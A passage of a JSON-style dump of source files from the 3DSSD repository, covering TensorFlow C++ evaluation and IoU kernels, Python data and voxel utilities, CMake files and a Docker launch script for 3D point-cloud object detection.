numlist shape\"));\n\n Tensor* precision_image_tensor = nullptr;\n Tensor* aos_image_tensor = nullptr;\n Tensor* precision_ground_tensor = nullptr;\n Tensor* aos_ground_tensor = nullptr;\n Tensor* precision_3d_tensor = nullptr;\n Tensor* aos_3d_tensor = nullptr;\n\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{NUM_CLASS, 3, (int)N_SAMPLE_PTS}, &precision_image_tensor));\n OP_REQUIRES_OK(context, context->allocate_output(1, TensorShape{NUM_CLASS, 3, (int)N_SAMPLE_PTS}, &aos_image_tensor));\n OP_REQUIRES_OK(context, context->allocate_output(2, TensorShape{NUM_CLASS, 3, (int)N_SAMPLE_PTS}, &precision_ground_tensor));\n OP_REQUIRES_OK(context, context->allocate_output(3, TensorShape{NUM_CLASS, 3, (int)N_SAMPLE_PTS}, &aos_ground_tensor));\n OP_REQUIRES_OK(context, context->allocate_output(4, TensorShape{NUM_CLASS, 3, (int)N_SAMPLE_PTS}, &precision_3d_tensor));\n OP_REQUIRES_OK(context, context->allocate_output(5, TensorShape{NUM_CLASS, 3, (int)N_SAMPLE_PTS}, &aos_3d_tensor));\n\n auto detections_flat = detections_tensor.flat<float>();\n const float *detections = &(detections_flat(0));\n auto names_flat = names_tensor.flat<string>();\n const string *names = &(names_flat(0));\n auto numlist_flat = numlist_tensor.flat<int>();\n const int *numlist = &(numlist_flat(0));\n\n auto precision_image_flat = precision_image_tensor->flat<float>();\n float *precision_image = &(precision_image_flat(0));\n auto aos_image_flat = aos_image_tensor->flat<float>();\n float *aos_image = &(aos_image_flat(0));\n auto precision_ground_flat = precision_ground_tensor->flat<float>();\n float *precision_ground = &(precision_ground_flat(0));\n auto aos_ground_flat = aos_ground_tensor->flat<float>();\n float *aos_ground = &(aos_ground_flat(0));\n auto precision_3d_flat = precision_3d_tensor->flat<float>();\n float *precision_3d = &(precision_3d_flat(0));\n auto aos_3d_flat = aos_3d_tensor->flat<float>();\n float *aos_3d = &(aos_3d_flat(0));\n\n evaluate_cpu(detections, names, numlist, n_images, precision_image, aos_image, precision_ground, aos_ground, precision_3d, aos_3d);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"Evaluate\").Device(DEVICE_CPU),EvaluateOp);\n\n\nvoid calc_intersections_cpu(const float *dets, const float *gts, const int det_num, const int gt_num, const int num_images, float* IoU3DMatrics, float* IoUBeVMatrics){\n calc_intersections(dets, gts, det_num, gt_num, num_images, IoU3DMatrics, IoUBeVMatrics);\n}\n\nclass CalcIouOp: public OpKernel{\n public:\n explicit CalcIouOp(OpKernelConstruction * context):OpKernel(context){}\n\n void Compute(OpKernelContext * context) override {\n const Tensor& detections_tensor=context->input(0);\n OP_REQUIRES(context, detections_tensor.dims()==3 && detections_tensor.shape().dim_size(2)==7, errors::InvalidArgument(\"Calculate IoU expects (bs, -1, 7) detections shape\"));\n int bs = detections_tensor.shape().dim_size(0);\n int det_num = detections_tensor.shape().dim_size(1);\n \n const Tensor& groundtruths_tensor = context->input(1);\n OP_REQUIRES(context, groundtruths_tensor.dims()==3 && groundtruths_tensor.shape().dim_size(0)==bs && groundtruths_tensor.shape().dim_size(2)==7, errors::InvalidArgument(\"Calculate IoU expects (bs, -1, 7) gt shape\"));\n int gt_num = groundtruths_tensor.shape().dim_size(1);\n\n Tensor* iou_bev_tensor = nullptr;\n Tensor* iou_3d_tensor = nullptr; \n\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{bs, det_num, gt_num}, &iou_bev_tensor));\n OP_REQUIRES_OK(context, context->allocate_output(1, TensorShape{bs, det_num, gt_num}, &iou_3d_tensor));\n\n auto detections_flat = detections_tensor.flat<float>();\n const float *detections = &(detections_flat(0));\n auto groundtruths_flat = groundtruths_tensor.flat<float>();\n const float* groundtruths = &(groundtruths_flat(0));\n \n auto iou_bev_flat = iou_bev_tensor->flat<float>();\n float* iou_bev = &(iou_bev_flat(0));\n auto iou_3d_flat = iou_3d_tensor->flat<float>();\n float* iou_3d = &(iou_3d_flat(0));\n\n calc_intersections_cpu(detections, groundtruths, det_num, gt_num, bs, iou_3d, iou_bev);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"CalcIou\").Device(DEVICE_CPU),CalcIouOp);\n\n\nvoid calc_intersections_matching_cpu(const float *dets, const float *gts, const int bs, float* IoU3DMatrics, float* IoUBeVMatrics){\n calc_intersections_matching(dets, gts, bs, IoU3DMatrics, IoUBeVMatrics);\n}\n\nclass CalcMatchingIouOp: public OpKernel{\n public:\n explicit CalcMatchingIouOp(OpKernelConstruction * context):OpKernel(context){}\n\n void Compute(OpKernelContext * context) override {\n const Tensor& detections_tensor=context->input(0);\n OP_REQUIRES(context, detections_tensor.dims()==2 && detections_tensor.shape().dim_size(1)==7, errors::InvalidArgument(\"Calculate IoU expects (-1, 7) detections shape\"));\n int bs = detections_tensor.shape().dim_size(0);\n \n const Tensor& groundtruths_tensor = context->input(1);\n OP_REQUIRES(context, groundtruths_tensor.dims()==2 && groundtruths_tensor.shape().dim_size(0)==bs && groundtruths_tensor.shape().dim_size(1) == 7, errors::InvalidArgument(\"Calculate IoU expects (-1, 7) gt shape\"));\n\n Tensor* iou_bev_tensor = nullptr;\n Tensor* iou_3d_tensor = nullptr; \n\n OP_REQUIRES_OK(context, context->allocate_output(0, TensorShape{bs}, &iou_bev_tensor));\n OP_REQUIRES_OK(context, context->allocate_output(1, TensorShape{bs}, &iou_3d_tensor));\n\n auto detections_flat = detections_tensor.flat<float>();\n const float *detections = &(detections_flat(0));\n auto groundtruths_flat = groundtruths_tensor.flat<float>();\n const float* groundtruths = &(groundtruths_flat(0));\n \n auto iou_bev_flat = iou_bev_tensor->flat<float>();\n float* iou_bev = &(iou_bev_flat(0));\n auto iou_3d_flat = iou_3d_tensor->flat<float>();\n float* iou_3d = &(iou_3d_flat(0));\n\n calc_intersections_matching_cpu(detections, groundtruths, bs, iou_3d, iou_bev);\n }\n};\nREGISTER_KERNEL_BUILDER(Name(\"CalcMatchingIou\").Device(DEVICE_CPU),CalcMatchingIouOp);\n" }, { "alpha_fraction": 0.6092715263366699, "alphanum_fraction": 0.6222286224365234, "avg_line_length": 55.918033599853516, "blob_id": "bd3d074e5ae35dee88e57ce383957b02dc44d940", "content_id": "facea0890893e3cf42f8489922b2c653c2529468", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3473, "license_type": "permissive", "max_line_length": 280, "num_lines": 61, "path": "/lib/dataset/placeholders.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf \nimport numpy as np\n\nfrom core.config import cfg\nfrom dataset import maps_dict\n\nclass PlaceHolders:\n def __init__(self, batch_size):\n self.batch_size = batch_size\n self.placeholders = dict()\n \n get_placeholders = {\n 'KITTI': self.get_placeholders_kitti,\n 'NuScenes': self.get_placeholders_nuscenes,\n }\n\n self.get_placeholders = get_placeholders[cfg.DATASET.TYPE] \n\n def _add_placeholder(self, dtype, shape, name):\n placeholder = tf.placeholder(dtype, shape, name)\n self.placeholders[name] = placeholder\n return placeholder\n\n def get_placeholders_kitti(self):\n with tf.variable_scope('points_input'):\n self._add_placeholder(tf.float32, [self.batch_size, cfg.MODEL.POINTS_NUM_FOR_TRAINING, 4], maps_dict.PL_POINTS_INPUT)\n\n with tf.variable_scope('pl_labels'):\n self._add_placeholder(tf.float32, [self.batch_size, None, 7],\n maps_dict.PL_LABEL_BOXES_3D)\n self._add_placeholder(tf.int32, [self.batch_size, None],\n maps_dict.PL_LABEL_CLASSES)\n self._add_placeholder(tf.int32, [self.batch_size, None], maps_dict.PL_ANGLE_CLS)\n self._add_placeholder(tf.float32, [self.batch_size, None], maps_dict.PL_ANGLE_RESIDUAL)\n\n self._add_placeholder(tf.int32, [self.batch_size, None], maps_dict.PL_LABEL_SEMSEGS)\n self._add_placeholder(tf.float32, [self.batch_size, None], maps_dict.PL_LABEL_DIST)\n\n self._add_placeholder(tf.float32, [self.batch_size, 3, 4], maps_dict.PL_CALIB_P2)\n \n def get_placeholders_nuscenes(self):\n with tf.variable_scope('points_input'):\n self._add_placeholder(tf.float32, [self.batch_size, cfg.DATASET.NUSCENE.MAX_NUMBER_OF_VOXELS, cfg.DATASET.MAX_NUMBER_OF_POINT_PER_VOXEL, cfg.DATASET.NUSCENES.INPUT_FEATURE_CHANNEL], maps_dict.PL_POINTS_INPUT)\n\n with tf.variable_scope('pl_labels'):\n self._add_placeholder(tf.float32, [self.batch_size, None, 7],\n maps_dict.PL_LABEL_BOXES_3D)\n self._add_placeholder(tf.int32, [self.batch_size, None],\n maps_dict.PL_LABEL_CLASSES)\n self._add_placeholder(tf.int32, [self.batch_size, None],\n maps_dict.PL_LABEL_ATTRIBUTES)\n self._add_placeholder(tf.float32, [self.batch_size, None, 2],\n maps_dict.PL_LABEL_VELOCITY)\n self._add_placeholder(tf.int32, [self.batch_size, None], \n maps_dict.PL_ANGLE_CLS)\n self._add_placeholder(tf.float32, [self.batch_size, None], \n maps_dict.PL_ANGLE_RESIDUAL)\n\n self._add_placeholder(tf.float32, [self.batch_size, cfg.DATASET.NUSCENE.MAX_CUR_SAMPLE_POINTS_NUM, cfg.DATASET.MAX_NUMBER_OF_POINT_PER_VOXEL, cfg.DATASET.NUSCENES.INPUT_FEATURE_CHANNEL], maps_dict.PL_CUR_SWEEP_POINTS_INPUT)\n self._add_placeholder(tf.float32, [self.batch_size, cfg.DATASET.NUSCENE.MAX_NUMBER_OF_VOXELS - cfg.DATASET.NUSCENE.MAX_CUR_SAMPLE_POINTS_NUM, cfg.DATASET.MAX_NUMBER_OF_POINT_PER_VOXEL, cfg.DATASET.NUSCENES.INPUT_FEATURE_CHANNEL], maps_dict.PL_OTHER_SWEEP_POINTS_INPUT)\n self._add_placeholder(tf.int32, [self.batch_size, cfg.DATASET.POINTS_NUM_FOR_TRAINING], maps_dict.PL_POINTS_NUM_PER_VOXEL)\n\n" }, { "alpha_fraction": 0.7969924807548523, "alphanum_fraction": 0.8120300769805908, "avg_line_length": 21.16666603088379, "blob_id": "cc628eb4c5c9ba5b434d8fdc9663e80145386a61", "content_id": "4142d94407d62ebfb73c1d38c01ceae7b0f3fb38", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 133, "license_type": "permissive", "max_line_length": 45, "num_lines": 6, "path": "/lib/utils/tf_ops/evaluation/CMakeLists.txt", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "cmake_minimum_required (VERSION 2.6)\nproject(eval_test)\n\ninclude_directories(include)\n\nadd_executable(evaluate_offline evaluate.cpp)\n" }, { "alpha_fraction": 0.7765957713127136, "alphanum_fraction": 0.7765957713127136, "avg_line_length": 27.200000762939453, "blob_id": "154360ce624063017e9609820790f55c6fbe75be", "content_id": "a45cd6a44563bfe67da09581661cc65235eff960", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 282, "license_type": "permissive", "max_line_length": 77, "num_lines": 10, "path": "/lib/utils/tf_ops/evaluation/CMakeFiles/evaluate_offline.dir/cmake_clean.cmake", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/evaluate_offline.dir/evaluate.cpp.o\"\n \"evaluate_offline.pdb\"\n \"evaluate_offline\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang CXX)\n include(CMakeFiles/evaluate_offline.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.5978022217750549, "alphanum_fraction": 0.6285714507102966, "avg_line_length": 27.4375, "blob_id": "3616043b1ada158cf274599b6d79dcf6a3c3fa47", "content_id": "40be6142543820e87604f407d7b53e28906ae563", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 455, "license_type": "permissive", "max_line_length": 60, "num_lines": 16, "path": "/docker-run.sh", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nDATASET_DIR=${HOME}/vision/3DSSD/dataset\nDATA_DIR=${HOME}/vision/3DSSD/data\nPRETRAINED_MODEL_DIR=${HOME}/vision/3DSSD/pretrained_model\n\nsudo docker run \\\n -it \\\n --gpus all \\\n --shm-size=256mb \\\n -e DISPLAY=unix$DISPLAY \\\n -v /tmp/.X11-unix:/tmp/.X11-unix:rw \\\n -v ${DATASET_DIR}:/ws/3DSSD/dataset \\\n -v ${DATA_DIR}:/ws/3DSSD/data \\\n -v ${PRETRAINED_MODEL_DIR}:/ws/3DSSD/pretrained_model \\\n taichi-h:3dssd\n" }, { "alpha_fraction": 0.5089927911758423, "alphanum_fraction": 0.5143885016441345, "avg_line_length": 33.75, "blob_id": "dfb9b67ed864c455873b5db535f61f17893e3525", "content_id": "2276efcee4e6980779b897749aae0cb13b7b5ae4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 556, "license_type": "permissive", "max_line_length": 76, "num_lines": 16, "path": "/lib/utils/pool_utils.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nimport numpy as np\nimport utils.tf_util as tf_util\n\ndef align_channel_network(info, mlp_list, bn, is_training, bn_decay, scope):\n with tf.variable_scope(scope) as sc:\n for i, num_out_channel in enumerate(mlp_list):\n info = tf_util.conv2d(info, \n num_out_channel, \n [1, 1], \n padding='VALID', \n bn=bn, \n is_training=is_training, \n scope='conv%d'%i, \n bn_decay=bn_decay)\n return info\n" }, { "alpha_fraction": 0.5794689655303955, "alphanum_fraction": 0.5912490487098694, "avg_line_length": 28.044944763183594, "blob_id": "5a3764e85fce0b494b89775599cc38f954f595ee", "content_id": "463fa1e01deb088cedb98b190a143d57e29caa0e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5348, "license_type": "permissive", "max_line_length": 120, "num_lines": 178, "path": "/lib/dataset/data_provider/utils.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\r\n# -*- coding: UTF-8 -*-\r\n\r\nimport os\r\nimport os.path as osp\r\nimport sys\r\nimport numpy as np\r\nfrom datetime import datetime\r\nfrom glob import glob\r\nfrom itertools import chain\r\nimport gc\r\n\r\nfrom .logger import red, green, yellow\r\n\r\nTHIS_PROCESS_RNG = None\r\n\r\ncheck_flag = False\r\ndef check_once(cond=True, msg=None, err_msg=\"Check Failed\"):\r\n global check_flag\r\n if not check_flag:\r\n if cond:\r\n print(yellow(msg))\r\n else:\r\n print(yellow(err_msg))\r\n sys.exit(0)\r\n check_flag = True\r\n\r\ndef check_none(cond=True, err_msg=\"Check Failed\"):\r\n if cond:\r\n print(red(err_msg))\r\n sys.exit(0)\r\n\r\ndef cmd(command):\r\n import subprocess\r\n output = subprocess.check_output(command, shell=True)\r\n output = output.decode()\r\n return output\r\n\r\ndef mem_info():\r\n import subprocess\r\n dev = subprocess.check_output(\r\n \"nvidia-smi | grep MiB | awk -F '|' '{print $3}' | awk -F '/' '{print $1}' | grep -Eo '[0-9]{1,10}'\",\r\n shell=True)\r\n dev = dev.decode()\r\n dev_mem = list(map(lambda x: int(x), dev.split('\\n')[:-1]))\r\n return dev_mem\r\n\r\ndef get_file_dir(file):\r\n return osp.dirname(osp.abspath(file))\r\n\r\ndef add_pypath(path):\r\n if path not in sys.path:\r\n sys.path.insert(0, path)\r\n\r\ndef make_link(dest_path, link_path):\r\n if os.path.islink(link_path):\r\n os.system('rm {}'.format(link_path))\r\n os.system('ln -s {} {}'.format(dest_path, link_path))\r\n\r\ndef make_dir(path):\r\n if os.path.exists(path) or os.path.islink(path):\r\n return \r\n os.makedirs(path)\r\n\r\ndef del_file(path, msg='{} deleted.'):\r\n if os.path.exists(path):\r\n os.remove(path)\r\n print(msg.format(path))\r\n else:\r\n print(\"{} doesn't exist.\".format(path))\r\n\r\ndef approx_equal(a, b, eps=1e-9):\r\n return np.fabs(a-b) < eps\r\n\r\ndef random_int(obj=None):\r\n return (id(obj) + os.getpid() + int(datetime.now().strftime(\"%Y%m%d%H%M%S%f\"))) % 4294967295\r\n\r\ndef get_rng(obj=None):\r\n \"\"\"\r\n Get a good RNG seeded with time, pid and the object.\r\n\r\n Args:\r\n obj: some object to use to generate random seed.\r\n Returns:\r\n np.random.RandomState: the RNG.\r\n \"\"\"\r\n seed = random_int(obj)\r\n return np.random.RandomState(seed)\r\n\r\ndef set_np_seed(obj=None):\r\n global THIS_PROCESS_RNG\r\n if THIS_PROCESS_RNG is None:\r\n THIS_PROCESS_RNG = random_int()\r\n print('numpy applys seed {}'.format(THIS_PROCESS_RNG))\r\n np.random.seed(THIS_PROCESS_RNG)\r\n\r\nimport cv2\r\n\r\ndef GetVideoInfo(video_path):\r\n assert os.path.isfile(video_path), \"Path {} is not a video file.\".format(video_path)\r\n cap = cv2.VideoCapture(video_path)\r\n\r\n if not cap.isOpened(): \r\n raise ValueError(\"could not open {}\".format(video_path))\r\n\r\n info = dict(\r\n cap = cap,\r\n length = int(cap.get(cv2.CAP_PROP_FRAME_COUNT)),\r\n width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)),\r\n height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)),\r\n fps = cap.get(cv2.CAP_PROP_FPS)\r\n )\r\n\r\n return info\r\n\r\ndef Video2Frame(video_path, downsample_rate, output_path=None):\r\n info = GetVideoInfo(video_path)\r\n\r\n if output_path is None:\r\n output_path = video_path\r\n make_dir(output_path)\r\n\r\n cap = info['cap']\r\n count = 0\r\n save_count = 0\r\n success = True\r\n while success:\r\n success, image = cap.read()\r\n if (count % downsample_rate == 0):\r\n cv2.imwrite(osp.join(output_path, 'video_{:06d}'.format(count) + '.jpg'), image)\r\n save_count += 1\r\n count += 1\r\n print('written {}/{} frames in {}'.format( save_count, count, output_path))\r\n print('--------------')\r\n\r\nfrom contextlib import contextmanager\r\n@contextmanager\r\ndef VideoWriter(video_path, frame_shape, fps=20):\r\n # frame_shape (height, width)\r\n #hack(only support mp4 media type)\r\n vwriter = cv2.VideoWriter(video_path, cv2.VideoWriter_fourcc(*'h264'), fps, tuple([frame_shape[1], frame_shape[0]]))\r\n yield vwriter\r\n print('Wrote video {}.'.format(video_path))\r\n vwriter.release()\r\n\r\ndef Frame2Video(frame_path_regex, video_path, fps=20):\r\n frame_list = glob(frame_path_regex)\r\n with VideoWriter(video_path, cv2.imread(frame_list[0]).shape, fps=fps) as vw:\r\n for f in frame_list:\r\n img = cv2.imread(f)\r\n vw.write(img)\r\n\r\ndef aggregate_batch(data_holder):\r\n if isinstance(data_holder[0], dict):\r\n keys = data_holder[0]\r\n results = dict( [ [k, [i[k] for i in data_holder]] for k in data_holder[0]] )\r\n for k in results:\r\n if isinstance(results[k][0], list):\r\n results[k] = list(chain(*results[k]))\r\n elif isinstance(results[k][0], np.ndarray):\r\n results[k] = np.concatenate(results[k], axis=0)\r\n else:\r\n from IPython import embed; embed()\r\n raise TypeError('Unsupported type when aggregating batch.')\r\n elif isinstance(data_holder[0], list):\r\n results = list(chain(data_holder))\r\n elif isinstance(data_holder[0], np.ndarray):\r\n results = np.concatenate(data_holder)\r\n else:\r\n raise TypeError('Unsupported type when aggregating batch.')\r\n return results\r\n\r\ndef del_list(x):\r\n del x[:]\r\n del x\r\n\r\ndef clear_memory():\r\n gc.collect()\r\n" }, { "alpha_fraction": 0.6448000073432922, "alphanum_fraction": 0.6672000288963318, "avg_line_length": 33.72222137451172, "blob_id": "3d1cca01fde5c592684e8ee4db0a99504af2df39", "content_id": "16a186588ef08530d6a2b04d5fa92b4ad86deef8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1875, "license_type": "permissive", "max_line_length": 97, "num_lines": 54, "path": "/lib/utils/tf_ops/interpolation/tf_interpolate.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import tensorflow as tf\nfrom tensorflow.python.framework import ops\nimport sys\nimport os\nBASE_DIR = os.path.dirname(__file__)\nsys.path.append(BASE_DIR)\ninterpolate_module=tf.load_op_library(os.path.join(BASE_DIR, 'tf_interpolate_so.so'))\ndef three_nn(xyz1, xyz2):\n '''\n Input:\n xyz1: (b,n,3) float32 array, unknown points\n xyz2: (b,m,3) float32 array, known points\n Output:\n dist: (b,n,3) float32 array, distances to known points\n idx: (b,n,3) int32 array, indices to known points\n '''\n return interpolate_module.three_nn(xyz1, xyz2)\nops.NoGradient('ThreeNN')\n\n\ndef three_interpolate(points, idx, weight):\n '''\n Input:\n points: (b,m,c) float32 array, known points\n idx: (b,n,3) int32 array, indices to known points\n weight: (b,n,3) float32 array, weights on known points\n Output:\n out: (b,n,c) float32 array, interpolated point values\n '''\n return interpolate_module.three_interpolate(points, idx, weight)\[email protected]('ThreeInterpolate')\ndef _three_interpolate_grad(op, grad_out):\n points = op.inputs[0]\n idx = op.inputs[1]\n weight = op.inputs[2]\n return [interpolate_module.three_interpolate_grad(points, idx, weight, grad_out), None, None]\n\n\ndef k_interpolate(points, idx, weight):\n '''\n Input:\n points: (b,m,c) float32 array, known points\n idx: (b,n,k) int32 array, indices to known points\n weight: (b,n,k) float32 array, weights on known points\n Output:\n out: (b,n,c) float32 array, interpolated point values\n '''\n return interpolate_module.k_interpolate(points, idx, weight)\[email protected]('KInterpolate')\ndef _k_interpolate_grad(op, grad_out):\n points = op.inputs[0]\n idx = op.inputs[1]\n weight = op.inputs[2]\n return [interpolate_module.k_interpolate_grad(points, idx, weight, grad_out), None, None]\n" }, { "alpha_fraction": 0.5968841314315796, "alphanum_fraction": 0.6192794442176819, "avg_line_length": 34.41379165649414, "blob_id": "95354ded472a06128c08b9d373cdef3348cec527", "content_id": "045b13607f4150c1720b0696b05524fc9f174d5e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2054, "license_type": "permissive", "max_line_length": 91, "num_lines": 58, "path": "/lib/builder/voxel_generator/voxel_generator.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import numpy as np\n\nfrom core.config import cfg\nfrom builder.voxel_generator.point_cloud_ops import points_to_voxel, points_to_voxel_nusc\n\n\nclass VoxelGenerator:\n def __init__(self, max_voxels=None):\n point_cloud_range = cfg.DATASET.POINT_CLOUD_RANGE # (-50, 50, -4, 2, -50, 50)\n point_cloud_range = np.array(point_cloud_range, dtype=np.float32)\n point_cloud_range = np.reshape(point_cloud_range, [3, 2])\n point_cloud_range = np.transpose(point_cloud_range, [2, 3])\n point_cloud_range = np.reshape(point_cloud_range, [-1]) # (-50, -4, -50, 50, 2, 50)\n\n voxel_size = cfg.DATASET.VOXEL_SIZE # [0.5, 1, 0.5]\n voxel_size = np.array(voxel_size, dtype=np.float32)\n grid_size = (\n point_cloud_range[3:] - point_cloud_range[:3]) / voxel_size\n # [500, 500, 30]\n grid_size = np.round(grid_size).astype(np.int64)\n\n max_num_points = int(cfg.DATASET.MAX_NUMBER_OF_POINT_PER_VOXEL)\n max_voxels = int(cfg.DATASET.NUSCENE.MAX_NUMBER_OF_VOXELS) \n\n self._voxel_size = voxel_size\n self._point_cloud_range = point_cloud_range\n self._max_num_points = max_num_points\n self._max_voxels = max_voxels\n self._grid_size = grid_size\n\n def generate(self, points):\n return points_to_voxel(\n points, self._voxel_size, self._point_cloud_range,\n self._max_num_points, self._max_voxels)\n\n def generate_nusc(self, cur_sweep_points, other_sweep_points, max_cur_sample_num):\n return points_to_voxel_nusc(\n cur_sweep_points, other_sweep_points, self._voxel_size, \n self._point_cloud_range,\n self._max_num_points, self._max_voxels, max_cur_sample_num\n ) \n\n @property\n def voxel_size(self):\n return self._voxel_size\n\n @property\n def max_num_points_per_voxel(self):\n return self._max_num_points\n\n\n @property\n def point_cloud_range(self):\n return self._point_cloud_range\n\n @property\n def grid_size(self):\n return self._grid_size\n" }, { "alpha_fraction": 0.5404350161552429, "alphanum_fraction": 0.556609034538269, "avg_line_length": 33.98039245605469, "blob_id": "ee35baf086f8f841586b76577af3b3b5520d979f", "content_id": "b364581bef7cf72d1c1d8c6bfc4b5b743abd29b4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1793, "license_type": "permissive", "max_line_length": 73, "num_lines": 51, "path": "/lib/utils/points_filter.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "'''\nfilter the points method\n'''\n\nimport numpy as np\nimport tensorflow as tf\n\ndef get_point_filter(point_cloud, extents):\n \"\"\"\n Creates a point filter using the 3D extents and ground plane\n\n :param point_cloud: Point cloud in the form [N, 3](x, y, z)\n :param extents: 3D area in the form\n [[min_x, max_x], [min_y, max_y], [min_z, max_z]]\n :param ground_plane: Optional, coefficients of the ground plane\n (a, b, c, d)\n :param offset_dist: If ground_plane is provided, removes points above\n this offset from the ground_plane\n :return: A binary mask for points within the extents and offset plane\n \"\"\"\n point_cloud = np.array(point_cloud)\n\n x_extents = extents[0]\n y_extents = extents[1]\n z_extents = extents[2]\n\n extents_filter = (point_cloud[:, 0] > x_extents[0]) & \\\n (point_cloud[:, 0] < x_extents[1]) & \\\n (point_cloud[:, 1] > y_extents[0]) & \\\n (point_cloud[:, 1] < y_extents[1]) & \\\n (point_cloud[:, 2] > z_extents[0]) & \\\n (point_cloud[:, 2] < z_extents[1])\n\n point_filter = extents_filter\n\n return point_filter\n\n\ndef get_point_filter_in_image(point_cloud, calib, height, width):\n ''' get point filter in image '''\n # first we exchange the point_cloud to image coord\n img_coord = calib.project_rect_to_image(point_cloud)\n # [:, 0] x-coord; [:, 1] y-coord\n point_filter = ((img_coord[:, 0] >= 0) & \\\n (img_coord[:, 0] < width) & \\\n (img_coord[:, 1] >= 0) & \\\n (img_coord[:, 1] < height))\n # and also filter these z < 0\n z_filter = point_cloud[:, 2] >= 0\n point_filter = np.logical_and(point_filter, z_filter)\n return point_filter\n \n" }, { "alpha_fraction": 0.6571525931358337, "alphanum_fraction": 0.6782194972038269, "avg_line_length": 35.787498474121094, "blob_id": "d1f42b4e0d9c04389ed9c98dfadc539aa450f853", "content_id": "bb9f5d118e36e89cdfdb14fff4446d95f596422a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2943, "license_type": "permissive", "max_line_length": 181, "num_lines": 80, "path": "/lib/utils/tf_ops/evaluation/test_evaluate.py", "repo_name": "taichiH/3DSSD", "src_encoding": "UTF-8", "text": "import os, sys\nimport tqdm\nimport tensorflow as tf\nimport numpy as np\n\nfrom core.config import cfg\nfrom utils.tf_ops.evaluation.tf_evaluate import evaluate\nimport utils.kitti_object as kitti_object\n\nsess = tf.Session()\n\nROOT_DIR = cfg.ROOT_DIR\nval_list_path = os.path.join(ROOT_DIR, cfg.DATASET.KITTI.VAL_LIST)\ndataset_dir = os.path.join(cfg.ROOT_DIR, cfg.DATASET.KITTI.BASE_DIR_PATH)\n\ndataset = kitti_object.kitti_object(dataset_dir, 'training')\nlabel_dir = os.path.join(dataset_dir, 'training', 'label_2')\n\nwith open(val_list_path, 'r') as f:\n val_list = [int(line.strip('\\n')) for line in f.readlines()]\n\nlabel_dict = dict([('Car', 0), ('Pedestrian', 1), ('Cyclist', 2)])\n\nobj_detection_list = []\nobj_detection_num = []\nobj_detection_name = []\n\ni = 0\n\nfor val_idx in tqdm.tqdm(val_list):\n label_name = os.path.join(label_dir, '%06d.txt'%val_idx)\n obj_detection_name.append(label_name)\n\n label_objects = dataset.get_label_objects(val_idx)\n objects_num = len(label_objects)\n detect_num = 0\n obj_detections = []\n for i in range(objects_num):\n label_object = label_objects[i]\n if label_object.type not in label_dict.keys():\n continue\n obj_detection = np.zeros([14], np.float32)\n obj_detection[0] = label_dict[label_object.type]\n obj_detection[1:5] = [label_object.xmin, label_object.ymin, label_object.xmax, label_object.ymax]\n obj_detection[5] = 0\n obj_detection[6:9] = label_object.t\n obj_detection[9] = label_object.h\n obj_detection[10] = label_object.w\n obj_detection[11] = label_object.l\n obj_detection[12] = label_object.ry\n obj_detection[13] = 1\n obj_detections.append(obj_detection)\n detect_num += 1\n obj_detections = np.stack(obj_detections, axis=0)\n obj_detections = np.zeros([0, 14], np.float32)\n detect_num = 1\n obj_detection_num.append(detect_num)\n obj_detection_list.append(obj_detections)\n i += 1\n\nobj_detection_list = np.concatenate(obj_detection_list, axis=0)\nobj_detection_name = np.array(obj_detection_name, dtype=np.string_)\nobj_detection_num = np.array(obj_detection_num, dtype=np.int)\n \nprecision_img, aos_img, precision_ground, aos_ground, precision_3d, aos_3d = evaluate(obj_detection_list, obj_detection_name, obj_detection_num) \nprecision_img_op, aos_img_op, precision_ground_op, aos_ground_op, precision_3d_op, aos_3d_op = sess.run([precision_img, aos_img, precision_ground, aos_ground, precision_3d, aos_3d])\n\nprecision_img_res = precision_img_op[:, :, ::4]\nprint(precision_img_op)\nprecision_img_res = np.sum(precision_img_res, axis=-1) / 11.\n\nprecision_ground_res = precision_ground_op[:, :, ::4]\nprecision_ground_res = np.sum(precision_ground_res, axis=-1) / 11.\n\nprecision_3d_res = precision_3d_op[:, :, ::4]\nprecision_3d_res = np.sum(precision_3d_res, axis=-1) / 11.\n \nprint(precision_img_res)\nprint(precision_ground_res)\nprint(precision_3d_res)\n" }, { "alpha_fraction": 0.5679136514663696, "alphanum_fraction": 0.5864925980567932, "avg_line_length": 35.541282653808594, "blob_id": "9dd5a5b426f1e18f6ea18a16fb9b94374f87aae1", "content_id": "7c37a93071e3b51d1efc12de8f394988b97d18df", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": 